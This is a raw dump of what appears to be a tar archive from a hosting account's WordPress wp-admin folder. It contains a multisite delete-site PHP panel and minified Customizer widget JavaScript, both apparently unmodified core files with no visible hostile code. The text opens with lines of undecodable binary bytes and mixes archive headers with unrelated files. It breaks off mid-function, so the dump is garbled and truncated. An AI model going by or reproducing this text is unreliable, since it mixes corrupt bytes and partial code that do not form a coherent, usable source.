��]v�^�n��"���_Rb�[�[3s��֮����>��u&-�`:E�g�\�#8�d���Y'�n�� ݤ҇d�:=���ȫ<�ww��^�Q^^'�!
��(�-'��Z8�x�oc]<��)��>�|����f�sDE���J�8�O}-��8,QT����+~����rq���lO�"u�D\i��t�B,��Lr6�o |*=�B�#��CԨ�~UY�E��ן�PG��s� ��r����QIIU�Aê�C�->G��/���?q����RuuO�FW�u������0��gQ9�8�v�R7��5)�u�5QsYet�V;�3�Es�^hKX3�7���!DX��}�z0�T�j�\.�ـ� B&�AWR�T'���Zf��<���`*vNP���v��F�)kW�=�b�u�
8|~v�婣�祈���"A��m�A#v�T��9Beخ���"g����Q�Rp�w� �jxgy�ڿ�{����#�6g�,k������]u���9˔f��D�N#_��K ɇ�*��L�QLj�|J��숪Pwh�1��z��~���(GQ�8\����1�4��:���A�����ui��2��*��@x��QI���*�J�hQ*߆n��u�\��V�{��x�
�luJw������Vh�8>�#�N�6#���dԦ�Y���P%���ӵ����iſf:�H��㲂n��VV�fԥW�ݟ�\_^S�Ă�
=[�"�+MFЋ k��WȺdY�h�H"74�Eɼ�pB�K��������ȬF��Ij����"AmwR��\uЭY���Q�=?*v�3C�Lj�آ��§��R�@?M�<x�%�m�^ro�Q�Z����ڛսt�N|hu6���{��
��@����^�a�z���9
�㦤'Gp*T_Ь�|'6�.���m�)ݬ��(/�5�:Y���V��@���H�E���c��N�&oh1��g<����
��ڡ0�o��ځ��_?\��D���7�/�^�%��s�$�G���&YS^�K��s��q\��Z㵓'��2y������KzE�����<�k����Pw����JU�
���S'�SBu�U�r��=��A���q�e��D9"Z6u��p�e���ty�cߕs���◳�$�����ض�F�<4��f�;d�T�V�b�y��D�8�M�� IF�~]�&ZH��.j��;���6������^����p��>\����4Uv�����u/��P�����
�;���F�5��
�ڗ��D�k]ԍ�����#��M7�*l�*�]�KD��戥}r/�����~��G:iy]�5�S�yBFk��m1����z���>|��ѽ�·��}i������0��I��n�qu�O�����ZD������A>��w��y�^��I�o�O�{������q͖�n]n����m�Yjz�׾f���>��L�����t�t,~R���C�[��o]�LBwu�Tw��]U�1���i~��W�E��Ū������c�]N/�w$�TWo�P��Z�1����nDx3�[��8.]��w�u���N��pu�4ְ�m���͇Ƽ�;��̇Nҋv�T2EeQ��F��X�c~��Eu���1�׆i�b�t��Zyt1"Ө-�=59z,��X�\(���'��@�U�Й(�P��z�+\�XW��Z��SvG�J�RX��;��=$!Sa��d:LZi�-0��G��n ;&�����kx����0j�L���D��5E�&�|����v�`�[ot�۪
�����V�Eǭӝb�������U��.#��{�@J���Z����2�7��?�����Oק���z���0ms-delete-site.php.tar000064400000014000150276633100010661 0ustar00home/natitnen/crestassured.com/wp-admin/ms-delete-site.php000064400000010277150271723740017665 0ustar00<?php
/**
 * Multisite delete site panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

if ( ! current_user_can( 'delete_site' ) ) {
	wp_die( __( 'Sorry, you are not allowed to delete this site.' ) );
}

if ( isset( $_GET['h'] ) && '' !== $_GET['h'] && false !== get_option( 'delete_blog_hash' ) ) {
	if ( hash_equals( get_option( 'delete_blog_hash' ), $_GET['h'] ) ) {
		wpmu_delete_blog( get_current_blog_id() );
		wp_die(
			sprintf(
				/* translators: %s: Network title. */
				__( 'Thank you for using %s, your site has been deleted. Happy trails to you until we meet again.' ),
				get_network()->site_name
			)
		);
	} else {
		wp_die( __( 'Sorry, the link you clicked is stale. Please select another option.' ) );
	}
}

$blog = get_site();
$user = wp_get_current_user();

// Used in the HTML title tag.
$title       = __( 'Delete Site' );
$parent_file = 'tools.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

echo '<div class="wrap">';
echo '<h1>' . esc_html( $title ) . '</h1>';

if ( isset( $_POST['action'] ) && 'deleteblog' === $_POST['action'] && isset( $_POST['confirmdelete'] ) && '1' === $_POST['confirmdelete'] ) {
	check_admin_referer( 'delete-blog' );

	$hash = wp_generate_password( 20, false );
	update_option( 'delete_blog_hash', $hash );

	$url_delete = esc_url( admin_url( 'ms-delete-site.php?h=' . $hash ) );

	$switched_locale = switch_to_locale( get_locale() );

	/* translators: Do not translate USERNAME, URL_DELETE, SITENAME, SITEURL: those are placeholders. */
	$content = __(
		"Howdy ###USERNAME###,

You recently clicked the 'Delete Site' link on your site and filled in a
form on that page.

If you really want to delete your site, click the link below. You will not
be asked to confirm again so only click this link if you are absolutely certain:
###URL_DELETE###

If you delete your site, please consider opening a new site here some time in
the future! (But remember that your current site and username are gone forever.)

Thank you for using the site,
All at ###SITENAME###
###SITEURL###"
	);
	/**
	 * Filters the text for the email sent to the site admin when a request to delete a site in a Multisite network is submitted.
	 *
	 * @since 3.0.0
	 *
	 * @param string $content The email text.
	 */
	$content = apply_filters( 'delete_site_email_content', $content );

	$content = str_replace( '###USERNAME###', $user->user_login, $content );
	$content = str_replace( '###URL_DELETE###', $url_delete, $content );
	$content = str_replace( '###SITENAME###', get_network()->site_name, $content );
	$content = str_replace( '###SITEURL###', network_home_url(), $content );

	wp_mail(
		get_option( 'admin_email' ),
		sprintf(
			/* translators: %s: Site title. */
			__( '[%s] Delete My Site' ),
			wp_specialchars_decode( get_option( 'blogname' ) )
		),
		$content
	);

	if ( $switched_locale ) {
		restore_previous_locale();
	}
	?>

	<p><?php _e( 'Thank you. Please check your email for a link to confirm your action. Your site will not be deleted until this link is clicked.' ); ?></p>

	<?php
} else {
	?>
	<p>
	<?php
		printf(
			/* translators: %s: Network title. */
			__( 'If you do not want to use your %s site any more, you can delete it using the form below. When you click <strong>Delete My Site Permanently</strong> you will be sent an email with a link in it. Click on this link to delete your site.' ),
			get_network()->site_name
		);
	?>
	</p>
	<p><?php _e( 'Remember, once deleted your site cannot be restored.' ); ?></p>

	<form method="post" name="deletedirect">
		<?php wp_nonce_field( 'delete-blog' ); ?>
		<input type="hidden" name="action" value="deleteblog" />
		<p><input id="confirmdelete" type="checkbox" name="confirmdelete" value="1" /> <label for="confirmdelete"><strong>
		<?php
			printf(
				/* translators: %s: Site address. */
				__( "I'm sure I want to permanently delete my site, and I am aware I can never get it back or use %s again." ),
				$blog->domain . $blog->path
			);
		?>
		</strong></label></p>
		<?php submit_button( __( 'Delete My Site Permanently' ) ); ?>
	</form>
	<?php
}
echo '</div>';

require_once ABSPATH . 'wp-admin/admin-footer.php';
customize-widgets.min.js000064400000066630150276633100011370 0ustar00/*! This file is auto-generated */
!function(u,h){var p,f;function c(e){var t={number:null,id_base:null},i=e.match(/^(.+)-(\d+)$/);return i?(t.id_base=i[1],t.number=parseInt(i[2],10)):t.id_base=e,t}u&&u.customize&&((p=u.customize).Widgets=p.Widgets||{},p.Widgets.savedWidgetIds={},p.Widgets.data=_wpCustomizeWidgetsSettings||{},f=p.Widgets.data.l10n,p.Widgets.WidgetModel=Backbone.Model.extend({id:null,temp_id:null,classname:null,control_tpl:null,description:null,is_disabled:null,is_multi:null,multi_number:null,name:null,id_base:null,transport:null,params:[],width:null,height:null,search_matched:!0}),p.Widgets.WidgetCollection=Backbone.Collection.extend({model:p.Widgets.WidgetModel,doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms)&&this.each(function(e){e.set("search_matched",!0)})},search:function(e){var t,i;e=(e=e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),t=new RegExp("^(?=.*"+e+").+","i"),this.each(function(e){i=[e.get("name"),e.get("description")].join(" "),e.set("search_matched",t.test(i))})}}),p.Widgets.availableWidgets=new p.Widgets.WidgetCollection(p.Widgets.data.availableWidgets),p.Widgets.SidebarModel=Backbone.Model.extend({after_title:null,after_widget:null,before_title:null,before_widget:null,class:null,description:null,id:null,name:null,is_rendered:!1}),p.Widgets.SidebarCollection=Backbone.Collection.extend({model:p.Widgets.SidebarModel}),p.Widgets.registeredSidebars=new p.Widgets.SidebarCollection(p.Widgets.data.registeredSidebars),p.Widgets.AvailableWidgetsPanelView=u.Backbone.View.extend({el:"#available-widgets",events:{"input #widgets-search":"search","focus .widget-tpl":"focus","click .widget-tpl":"_submit","keypress .widget-tpl":"_submit",keydown:"keyboardAccessible"},selected:null,currentSidebarControl:null,$search:null,$clearResults:null,searchMatchesCount:null,initialize:function(){var t=this;this.$search=h("#widgets-search"),this.$clearResults=this.$el.find(".clear-results"),_.bindAll(this,"close"),this.listenTo(this.collection,"change",this.updateList),this.updateList(),this.searchMatchesCount=this.collection.length,h("#customize-controls, #available-widgets .customize-section-title").on("click keydown",function(e){e=h(e.target).is(".add-new-widget, .add-new-widget *");h("body").hasClass("adding-widget")&&!e&&t.close()}),this.$clearResults.on("click",function(){t.$search.val("").trigger("focus").trigger("input")}),p.previewer.bind("url",this.close)},search:_.debounce(function(e){var t;this.collection.doSearch(e.target.value),this.updateSearchMatchesCount(),this.announceSearchMatches(),this.selected&&!this.selected.is(":visible")&&(this.selected.removeClass("selected"),this.selected=null),this.selected&&!e.target.value&&(this.selected.removeClass("selected"),this.selected=null),!this.selected&&e.target.value&&(t=this.$el.find("> .widget-tpl:visible:first")).length&&this.select(t),""!==e.target.value?this.$clearResults.addClass("is-visible"):""===e.target.value&&this.$clearResults.removeClass("is-visible"),this.searchMatchesCount?this.$el.removeClass("no-widgets-found"):this.$el.addClass("no-widgets-found")},500),updateSearchMatchesCount:function(){this.searchMatchesCount=this.collection.where({search_matched:!0}).length},announceSearchMatches:function(){var e=f.widgetsFound.replace("%d",this.searchMatchesCount);this.searchMatchesCount||(e=f.noWidgetsFound),u.a11y.speak(e)},updateList:function(){this.collection.each(function(e){var t=h("#widget-tpl-"+e.id);t.toggle(e.get("search_matched")&&!e.get("is_disabled")),e.get("is_disabled")&&t.is(this.selected)&&(this.selected=null)})},select:function(e){this.selected=h(e),this.selected.siblings(".widget-tpl").removeClass("selected"),this.selected.addClass("selected")},focus:function(e){this.select(h(e.currentTarget))},_submit:function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||this.submit(h(e.currentTarget))},submit:function(e){(e=e||this.selected)&&this.currentSidebarControl&&(this.select(e),e=h(this.selected).data("widget-id"),e=this.collection.findWhere({id:e}))&&((e=this.currentSidebarControl.addWidget(e.get("id_base")))&&e.focus(),this.close())},open:function(e){this.currentSidebarControl=e,_(this.currentSidebarControl.getWidgetFormControls()).each(function(e){e.params.is_wide&&e.collapseForm()}),p.section.has("publish_settings")&&p.section("publish_settings").collapse(),h("body").addClass("adding-widget"),this.$el.find(".selected").removeClass("selected"),this.collection.doSearch(""),p.settings.browser.mobile||this.$search.trigger("focus")},close:function(e){(e=e||{}).returnFocus&&this.currentSidebarControl&&this.currentSidebarControl.container.find(".add-new-widget").focus(),this.currentSidebarControl=null,this.selected=null,h("body").removeClass("adding-widget"),this.$search.val("").trigger("input")},keyboardAccessible:function(e){var t=13===e.which,i=27===e.which,n=40===e.which,s=38===e.which,d=9===e.which,a=e.shiftKey,o=null,r=this.$el.find("> .widget-tpl:visible:first"),l=this.$el.find("> .widget-tpl:visible:last"),c=h(e.target).is(this.$search),g=h(e.target).is(".widget-tpl:visible:last");n||s?(n?c?o=r:this.selected&&0!==this.selected.nextAll(".widget-tpl:visible").length&&(o=this.selected.nextAll(".widget-tpl:visible:first")):s&&(c?o=l:this.selected&&0!==this.selected.prevAll(".widget-tpl:visible").length&&(o=this.selected.prevAll(".widget-tpl:visible:first"))),this.select(o),(o||this.$search).trigger("focus")):t&&!this.$search.val()||(t?this.submit():i&&this.close({returnFocus:!0}),this.currentSidebarControl&&d&&(a&&c||!a&&g)&&(this.currentSidebarControl.container.find(".add-new-widget").focus(),e.preventDefault()))}}),p.Widgets.formSyncHandlers={rss:function(e,t,i){var n=t.find(".widget-error:first"),i=h("<div>"+i+"</div>").find(".widget-error:first");n.length&&i.length?n.replaceWith(i):n.length?n.remove():i.length&&t.find(".widget-content:first").prepend(i)}},p.Widgets.WidgetControl=p.Control.extend({defaultExpandedArguments:{duration:"fast",completeCallback:h.noop},initialize:function(e,t){var i=this;i.widgetControlEmbedded=!1,i.widgetContentEmbedded=!1,i.expanded=new p.Value(!1),i.expandedArgumentsQueue=[],i.expanded.bind(function(e){var t=i.expandedArgumentsQueue.shift(),t=h.extend({},i.defaultExpandedArguments,t);i.onChangeExpanded(e,t)}),i.altNotice=!0,p.Control.prototype.initialize.call(i,e,t)},ready:function(){var n=this;n.section()?p.section(n.section(),function(t){function i(e){e&&(n.embedWidgetControl(),t.expanded.unbind(i))}t.expanded()?i(!0):t.expanded.bind(i)}):n.embedWidgetControl()},embedWidgetControl:function(){var e,t=this;t.widgetControlEmbedded||(t.widgetControlEmbedded=!0,e=h(t.params.widget_control),t.container.append(e),t._setupModel(),t._setupWideWidget(),t._setupControlToggle(),t._setupWidgetTitle(),t._setupReorderUI(),t._setupHighlightEffects(),t._setupUpdateUI(),t._setupRemoveUI())},embedWidgetContent:function(){var e,t=this;t.embedWidgetControl(),t.widgetContentEmbedded||(t.widgetContentEmbedded=!0,t.notifications.container=t.getNotificationsContainerElement(),t.notifications.render(),e=h(t.params.widget_content),t.container.find(".widget-content:first").append(e),h(document).trigger("widget-added",[t.container.find(".widget:first")]))},_setupModel:function(){var i=this,e=function(){p.Widgets.savedWidgetIds[i.params.widget_id]=!0};p.bind("ready",e),p.bind("saved",e),this._updateCount=0,this.isWidgetUpdating=!1,this.liveUpdateMode=!0,this.setting.bind(function(e,t){_(t).isEqual(e)||i.isWidgetUpdating||i.updateWidget({instance:e})})},_setupWideWidget:function(){var n,s,e,t,i,d=this;!this.params.is_wide||h(window).width()<=640||(n=this.container.find(".widget-inside"),s=n.find("> .form"),e=h(".wp-full-overlay-sidebar-content:first"),this.container.addClass("wide-widget-control"),this.container.find(".form:first").css({"max-width":this.params.width,"min-height":this.params.height}),i=function(){var e=d.container.offset().top,t=h(window).height(),i=s.outerHeight();n.css("max-height",t),e=Math.max(0,Math.min(Math.max(e,0),t-i)),n.css("top",e)},t=h("#customize-theme-controls"),this.container.on("expand",function(){i(),e.on("scroll",i),h(window).on("resize",i),t.on("expanded collapsed",i)}),this.container.on("collapsed",function(){e.off("scroll",i),h(window).off("resize",i),t.off("expanded collapsed",i)}),p.each(function(e){0===e.id.indexOf("sidebars_widgets[")&&e.bind(function(){d.container.hasClass("expanded")&&i()})}))},_setupControlToggle:function(){var t=this;this.container.find(".widget-top").on("click",function(e){e.preventDefault(),t.getSidebarWidgetsControl().isReordering||t.expanded(!t.expanded())}),this.container.find(".widget-control-close").on("click",function(){t.collapse(),t.container.find(".widget-top .widget-action:first").focus()})},_setupWidgetTitle:function(){var i=this,e=function(){var e=i.setting().title,t=i.container.find(".in-widget-title");e?t.text(": "+e):t.text("")};this.setting.bind(e),e()},_setupReorderUI:function(){var t,e,d=this,s=function(e){e.siblings(".selected").removeClass("selected"),e.addClass("selected");e=e.data("id")===d.params.sidebar_id;d.container.find(".move-widget-btn").prop("disabled",e)};this.container.find(".widget-title-action").after(h(p.Widgets.data.tpl.widgetReorderNav)),e=_.template(p.Widgets.data.tpl.moveWidgetArea),t=h(e({sidebars:_(p.Widgets.registeredSidebars.toArray()).pluck("attributes")})),this.container.find(".widget-top").after(t),(e=function(){var e=t.find("li"),i=0,n=e.filter(function(){return h(this).data("id")===d.params.sidebar_id});e.each(function(){var e=h(this),t=e.data("id"),t=p.Widgets.registeredSidebars.get(t).get("is_rendered");e.toggle(t),t&&(i+=1),e.hasClass("selected")&&!t&&s(n)}),1<i?d.container.find(".move-widget").show():d.container.find(".move-widget").hide()})(),p.Widgets.registeredSidebars.on("change:is_rendered",e),this.container.find(".widget-reorder-nav").find(".move-widget, .move-widget-down, .move-widget-up").each(function(){h(this).prepend(d.container.find(".widget-title").text()+": ")}).on("click keypress",function(e){var t,i;"keypress"===e.type&&13!==e.which&&32!==e.which||(h(this).trigger("focus"),h(this).is(".move-widget")?d.toggleWidgetMoveArea():(e=h(this).is(".move-widget-down"),t=h(this).is(".move-widget-up"),i=d.getWidgetSidebarPosition(),t&&0===i||e&&i===d.getSidebarWidgetsControl().setting().length-1||(t?(d.moveUp(),u.a11y.speak(f.widgetMovedUp)):(d.moveDown(),u.a11y.speak(f.widgetMovedDown)),h(this).trigger("focus"))))}),this.container.find(".widget-area-select").on("click keypress","li",function(e){"keypress"===e.type&&13!==e.which&&32!==e.which||(e.preventDefault(),s(h(this)))}),this.container.find(".move-widget-btn").click(function(){d.getSidebarWidgetsControl().toggleReordering(!1);var e=d.params.sidebar_id,t=d.container.find(".widget-area-select li.selected").data("id"),e=p("sidebars_widgets["+e+"]"),t=p("sidebars_widgets["+t+"]"),i=Array.prototype.slice.call(e()),n=Array.prototype.slice.call(t()),s=d.getWidgetSidebarPosition();i.splice(s,1),n.push(d.params.widget_id),e(i),t(n),d.focus()})},_setupHighlightEffects:function(){var e=this;this.container.on("mouseenter click",function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)}),this.setting.bind(function(){e.setting.previewer.send("highlight-widget",e.params.widget_id)})},_setupUpdateUI:function(){var t,i,n=this,s=this.container.find(".widget:first"),e=s.find(".widget-content:first"),d=this.container.find(".widget-control-save");d.val(f.saveBtnLabel),d.attr("title",f.saveBtnTooltip),d.removeClass("button-primary"),d.on("click",function(e){e.preventDefault(),n.updateWidget({disable_form:!0})}),t=_.debounce(function(){n.updateWidget()},250),e.on("keydown","input",function(e){13===e.which&&(e.preventDefault(),n.updateWidget({ignoreActiveElement:!0}))}),e.on("change input propertychange",":input",function(e){n.liveUpdateMode&&("change"===e.type||this.checkValidity&&this.checkValidity())&&t()}),this.setting.previewer.channel.bind("synced",function(){n.container.removeClass("previewer-loading")}),p.previewer.bind("widget-updated",function(e){e===n.params.widget_id&&n.container.removeClass("previewer-loading")}),(i=p.Widgets.formSyncHandlers[this.params.widget_id_base])&&h(document).on("widget-synced",function(e,t){s.is(t)&&i.apply(document,arguments)})},onChangeActive:function(e,t){this.container.toggleClass("widget-rendered",e),t.completeCallback&&t.completeCallback()},_setupRemoveUI:function(){var e,s=this,t=this.container.find(".widget-control-remove");t.on("click",function(){var n=s.container.next().is(".customize-control-widget_form")?s.container.next().find(".widget-action:first"):s.container.prev().is(".customize-control-widget_form")?s.container.prev().find(".widget-action:first"):s.container.next(".customize-control-sidebar_widgets").find(".add-new-widget:first");s.container.slideUp(function(){var e,t,i=p.Widgets.getSidebarWidgetControlContainingWidget(s.params.widget_id);i&&(e=i.setting().slice(),-1!==(t=_.indexOf(e,s.params.widget_id)))&&(e.splice(t,1),i.setting(e),n.focus())})}),e=function(){t.text(f.removeBtnLabel),t.attr("title",f.removeBtnTooltip)},this.params.is_new?p.bind("saved",e):e()},_getInputs:function(e){return h(e).find(":input[name]")},_getInputsSignature:function(e){return _(e).map(function(e){e=h(e),e=e.is(":checkbox, :radio")?[e.attr("id"),e.attr("name"),e.prop("value")]:[e.attr("id"),e.attr("name")];return e.join(",")}).join(";")},_getInputState:function(e){return(e=h(e)).is(":radio, :checkbox")?e.prop("checked"):e.is("select[multiple]")?e.find("option:selected").map(function(){return h(this).val()}).get():e.val()},_setInputState:function(e,t){(e=h(e)).is(":radio, :checkbox")?e.prop("checked",t):e.is("select[multiple]")?(t=Array.isArray(t)?_.map(t,function(e){return String(e)}):[],e.find("option").each(function(){h(this).prop("selected",-1!==_.indexOf(t,String(this.value)))})):e.val(t)},getSidebarWidgetsControl:function(){var e="sidebars_widgets["+this.params.sidebar_id+"]",e=p.control(e);if(e)return e},updateWidget:function(s){var d,a,o,r,e,l,t,i,c,g=this;g.embedWidgetContent(),i=(s=h.extend({instance:null,complete:null,ignoreActiveElement:!1},s)).instance,d=s.complete,this._updateCount+=1,r=this._updateCount,a=this.container.find(".widget:first"),(o=a.find(".widget-content:first")).find(".widget-error").remove(),this.container.addClass("widget-form-loading"),this.container.addClass("previewer-loading"),(t=p.state("processing"))(t()+1),this.liveUpdateMode||this.container.addClass("widget-form-disabled"),(e={action:"update-widget",wp_customize:"on"}).nonce=p.settings.nonce["update-widget"],e.customize_theme=p.settings.theme.stylesheet,e.customized=u.customize.previewer.query().customized,e=h.param(e),(l=this._getInputs(o)).each(function(){h(this).data("state"+r,g._getInputState(this))}),e=(e+=i?"&"+h.param({sanitized_widget_setting:JSON.stringify(i)}):"&"+l.serialize())+"&"+o.find("~ :input").serialize(),this._previousUpdateRequest&&this._previousUpdateRequest.abort(),i=h.post(u.ajax.settings.url,e),(this._previousUpdateRequest=i).done(function(e){var n,t,i=!1;"0"===e?(p.previewer.preview.iframe.hide(),p.previewer.login().done(function(){g.updateWidget(s),p.previewer.preview.iframe.show()})):"-1"===e?p.previewer.cheatin():e.success?(t=h("<div>"+e.data.form+"</div>"),n=g._getInputs(t),(t=g._getInputsSignature(l)===g._getInputsSignature(n))&&!g.liveUpdateMode&&(g.liveUpdateMode=!0,g.container.removeClass("widget-form-disabled"),g.container.find('input[name="savewidget"]').hide()),t&&g.liveUpdateMode?(l.each(function(e){var t=h(this),e=h(n[e]),i=t.data("state"+r),e=g._getInputState(e);t.data("sanitized",e),_.isEqual(i,e)||!s.ignoreActiveElement&&t.is(document.activeElement)||g._setInputState(t,e)}),h(document).trigger("widget-synced",[a,e.data.form])):g.liveUpdateMode?(g.liveUpdateMode=!1,g.container.find('input[name="savewidget"]').show(),i=!0):(o.html(e.data.form),g.container.removeClass("widget-form-disabled"),h(document).trigger("widget-updated",[a])),(c=!i&&!_(g.setting()).isEqual(e.data.instance))?(g.isWidgetUpdating=!0,g.setting(e.data.instance),g.isWidgetUpdating=!1):g.container.removeClass("previewer-loading"),d&&d.call(g,null,{noChange:!c,ajaxFinished:!0})):(t=f.error,e.data&&e.data.message&&(t=e.data.message),d?d.call(g,t):o.prepend('<p class="widget-error"><strong>'+t+"</strong></p>"))}),i.fail(function(e,t){d&&d.call(g,t)}),i.always(function(){g.container.removeClass("widget-form-loading"),l.each(function(){h(this).removeData("state"+r)}),t(t()-1)})},expandControlSection:function(){p.Control.prototype.expand.call(this)},_toggleExpanded:p.Section.prototype._toggleExpanded,expand:p.Section.prototype.expand,expandForm:function(){this.expand()},collapse:p.Section.prototype.collapse,collapseForm:function(){this.collapse()},toggleForm:function(e){void 0===e&&(e=!this.expanded()),this.expanded(e)},onChangeExpanded:function(e,t){var i,n,s,d,a,o=this;o.embedWidgetControl(),e&&o.embedWidgetContent(),t.unchanged?e&&p.Control.prototype.expand.call(o,{completeCallback:t.completeCallback}):(i=this.container.find("div.widget:first"),n=i.find(".widget-inside:first"),e=function(){p.control.each(function(e){o.params.type===e.params.type&&o!==e&&e.collapse()}),s=function(){o.container.removeClass("expanding"),o.container.addClass("expanded"),i.addClass("open"),a.attr("aria-expanded","true"),o.container.trigger("expanded")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.params.is_wide?n.fadeIn(t.duration,s):n.slideDown(t.duration,s),o.container.trigger("expand"),o.container.addClass("expanding")},"false"===(a=this.container.find(".widget-top button.widget-action")).attr("aria-expanded")?p.section.has(o.section())?p.section(o.section()).expand({completeCallback:e}):e():(s=function(){o.container.removeClass("collapsing"),o.container.removeClass("expanded"),i.removeClass("open"),a.attr("aria-expanded","false"),o.container.trigger("collapsed")},t.completeCallback&&(d=s,s=function(){d(),t.completeCallback()}),o.container.trigger("collapse"),o.container.addClass("collapsing"),o.params.is_wide?n.fadeOut(t.duration,s):n.slideUp(t.duration,function(){i.css({width:"",margin:""}),s()})))},getWidgetSidebarPosition:function(){var e=this.getSidebarWidgetsControl().setting(),e=_.indexOf(e,this.params.widget_id);if(-1!==e)return e},moveUp:function(){this._moveWidgetByOne(-1)},moveDown:function(){this._moveWidgetByOne(1)},_moveWidgetByOne:function(e){var t=this.getWidgetSidebarPosition(),i=this.getSidebarWidgetsControl().setting,n=Array.prototype.slice.call(i()),s=n[t+e];n[t+e]=this.params.widget_id,n[t]=s,i(n)},toggleWidgetMoveArea:function(e){var t=this,i=this.container.find(".move-widget-area");(e=void 0===e?!i.hasClass("active"):e)&&(i.find(".selected").removeClass("selected"),i.find("li").filter(function(){return h(this).data("id")===t.params.sidebar_id}).addClass("selected"),this.container.find(".move-widget-btn").prop("disabled",!0)),i.toggleClass("active",e)},highlightSectionAndControl:function(){var e=this.container.is(":hidden")?this.container.closest(".control-section"):this.container;h(".highlighted").removeClass("highlighted"),e.addClass("highlighted"),setTimeout(function(){e.removeClass("highlighted")},500)}}),p.Widgets.WidgetsPanel=p.Panel.extend({ready:function(){var d=this;p.Panel.prototype.ready.call(d),d.deferred.embedded.done(function(){var t,i,n,e=d.container.find(".panel-meta"),s=h("<div></div>",{class:"no-widget-areas-rendered-notice"});e.append(s),i=function(){return _.filter(d.sections(),function(e){return"sidebar"===e.params.type&&e.active()}).length},n=function(){var e=i();return 0===e||e!==p.Widgets.data.registeredSidebars.length},(t=function(){var e,t=i();s.empty(),t!==(e=p.Widgets.data.registeredSidebars.length)&&((e=0!==t?f.someAreasShown[e-t]:f.noAreasShown)&&s.append(h("<p></p>",{text:e})),s.append(h("<p></p>",{text:f.navigatePreview})))})(),s.toggle(n()),p.previewer.deferred.active.done(function(){s.toggle(n())}),p.bind("pane-contents-reflowed",function(){var e="resolved"===p.previewer.deferred.active.state()?"fast":0;t(),n()?s.slideDown(e):s.slideUp(e)})})},isContextuallyActive:function(){return this.active()}}),p.Widgets.SidebarSection=p.Section.extend({ready:function(){var t;p.Section.prototype.ready.call(this),t=p.Widgets.registeredSidebars.get(this.params.sidebarId),this.active.bind(function(e){t.set("is_rendered",e)}),t.set("is_rendered",this.active())}}),p.Widgets.SidebarControl=p.Control.extend({ready:function(){this.$controlSection=this.container.closest(".control-section"),this.$sectionContent=this.container.closest(".accordion-section-content"),this._setupModel(),this._setupSortable(),this._setupAddition(),this._applyCardinalOrderClassNames()},_setupModel:function(){var s=this;this.setting.bind(function(i,e){var t,n,e=_(e).difference(i);i=_(i).filter(function(e){e=c(e);return!!p.Widgets.availableWidgets.findWhere({id_base:e.id_base})}),(t=_(i).map(function(e){return p.Widgets.getWidgetFormControlForWidget(e)||s.addWidget(e)})).sort(function(e,t){return _.indexOf(i,e.params.widget_id)-_.indexOf(i,t.params.widget_id)}),n=0,_(t).each(function(e){e.priority(n),e.section(s.section()),n+=1}),s.priority(n),s._applyCardinalOrderClassNames(),_(t).each(function(e){e.params.sidebar_id=s.params.sidebar_id}),_(e).each(function(n){setTimeout(function(){var e,t,i=!1;p.each(function(e){e.id!==s.setting.id&&0===e.id.indexOf("sidebars_widgets[")&&"sidebars_widgets[wp_inactive_widgets]"!==e.id&&(e=e(),-1!==_.indexOf(e,n))&&(i=!0)}),i||(t=(e=p.Widgets.getWidgetFormControlForWidget(n))&&h.contains(document,e.container[0])&&!h.contains(s.$sectionContent[0],e.container[0]),e&&!t&&(p.control.remove(e.id),e.container.remove()),p.Widgets.savedWidgetIds[n]&&((t=p.value("sidebars_widgets[wp_inactive_widgets]")().slice()).push(n),p.value("sidebars_widgets[wp_inactive_widgets]")(_(t).unique())),e=c(n).id_base,(t=p.Widgets.availableWidgets.findWhere({id_base:e}))&&!t.get("is_multi")&&t.set("is_disabled",!1))})})})},_setupSortable:function(){var t=this;this.isReordering=!1,this.$sectionContent.sortable({items:"> .customize-control-widget_form",handle:".widget-top",axis:"y",tolerance:"pointer",connectWith:".accordion-section-content:has(.customize-control-sidebar_widgets)",update:function(){var e=t.$sectionContent.sortable("toArray"),e=h.map(e,function(e){return h("#"+e).find(":input[name=widget-id]").val()});t.setting(e)}}),this.$controlSection.find(".accordion-section-title").droppable({accept:".customize-control-widget_form",over:function(){p.section(t.section.get()).expand({allowMultiple:!0,completeCallback:function(){p.section.each(function(e){e.container.find(".customize-control-sidebar_widgets").length&&e.container.find(".accordion-section-content:first").sortable("refreshPositions")})}})}}),this.container.find(".reorder-toggle").on("click",function(){t.toggleReordering(!t.isReordering)})},_setupAddition:function(){var t=this;this.container.find(".add-new-widget").on("click",function(){var e=h(this);t.$sectionContent.hasClass("reordering")||(h("body").hasClass("adding-widget")?(e.attr("aria-expanded","false"),p.Widgets.availableWidgetsPanel.close()):(e.attr("aria-expanded","true"),p.Widgets.availableWidgetsPanel.open(t)))})},_applyCardinalOrderClassNames:function(){var t=[];_.each(this.setting(),function(e){e=p.Widgets.getWidgetFormControlForWidget(e);e&&t.push(e)}),0===t.length||1===p.Widgets.registeredSidebars.length&&t.length<=1?this.container.find(".reorder-toggle").hide():(this.container.find(".reorder-toggle").show(),h(t).each(function(){h(this.container).removeClass("first-widget").removeClass("last-widget").find(".move-widget-down, .move-widget-up").prop("tabIndex",0)}),_.first(t).container.addClass("first-widget").find(".move-widget-up").prop("tabIndex",-1),_.last(t).container.addClass("last-widget").find(".move-widget-down").prop("tabIndex",-1))},toggleReordering:function(e){var t=this.$sectionContent.find(".add-new-widget"),i=this.container.find(".reorder-toggle"),n=this.$sectionContent.find(".widget-title");(e=Boolean(e))!==this.$sectionContent.hasClass("reordering")&&(this.isReordering=e,this.$sectionContent.toggleClass("reordering",e),e?(_(this.getWidgetFormControls()).each(function(e){e.collapse()}),t.attr({tabindex:"-1","aria-hidden":"true"}),i.attr("aria-label",f.reorderLabelOff),u.a11y.speak(f.reorderModeOn),n.attr("aria-hidden","true")):(t.removeAttr("tabindex aria-hidden"),i.attr("aria-label",f.reorderLabelOn),u.a11y.speak(f.reorderModeOff),n.attr("aria-hidden","false")))},getWidgetFormControls:function(){var t=[];return _(this.setting()).each(function(e){e=function(e){var t,e=c(e);t="widget_"+e.id_base,e.number&&(t+="["+e.number+"]");return t}(e),e=p.control(e);e&&t.push(e)}),t},addWidget:function(n){var 